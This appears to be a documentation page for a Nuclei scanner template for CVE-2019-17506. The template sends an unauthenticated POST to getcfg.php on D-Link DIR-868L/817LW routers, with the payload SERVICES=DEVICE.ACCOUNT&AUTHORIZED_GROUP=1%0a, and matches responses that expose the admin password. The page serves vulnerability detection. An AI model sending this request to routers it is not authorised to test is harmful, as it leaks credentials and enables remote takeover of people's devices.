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D-Link DIR-868L/817LW - Information Disclosure

ID: CVE-2019-17506

Severity: critical

Author: pikpikcu

Tags: cve,cve2019,dlink,router,disclosure

Description

Section titled “Description”

D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router’s username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.

YAML Source

Section titled “YAML Source”
id: CVE-2019-17506


info:
  name: D-Link DIR-868L/817LW - Information Disclosure
  author: pikpikcu
  severity: critical
  description: |
    D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and credentials.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the information disclosure vulnerability.
  reference:
    - https://github.com/dahua966/Routers-vuls/blob/master/DIR-868/name%26passwd.py
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17506
    - https://github.com/openx-org/BLEN
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17506
    cwe-id: CWE-306
    epss-score: 0.90196
    epss-percentile: 0.98577
    cpe: cpe:2.3:o:dlink:dir-868l_b1_firmware:2.03:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-868l_b1_firmware
  tags: cve,cve2019,dlink,router,disclosure


http:
  - method: POST
    path:
      - "{{BaseURL}}/getcfg.php"


    body: |
      SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a


    headers:
      Content-Type: text/xml


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</password>"
          - "DEVICE.ACCOUNT"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b4ff1bcd5b8a4e6e244a9ca3cfe4a03284729ed3d20e719fd2c3f4a2ed7998380221009d440a549fb02d14c5872765e006890195a220822a229955e1987d043d665ad3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17506.yaml"

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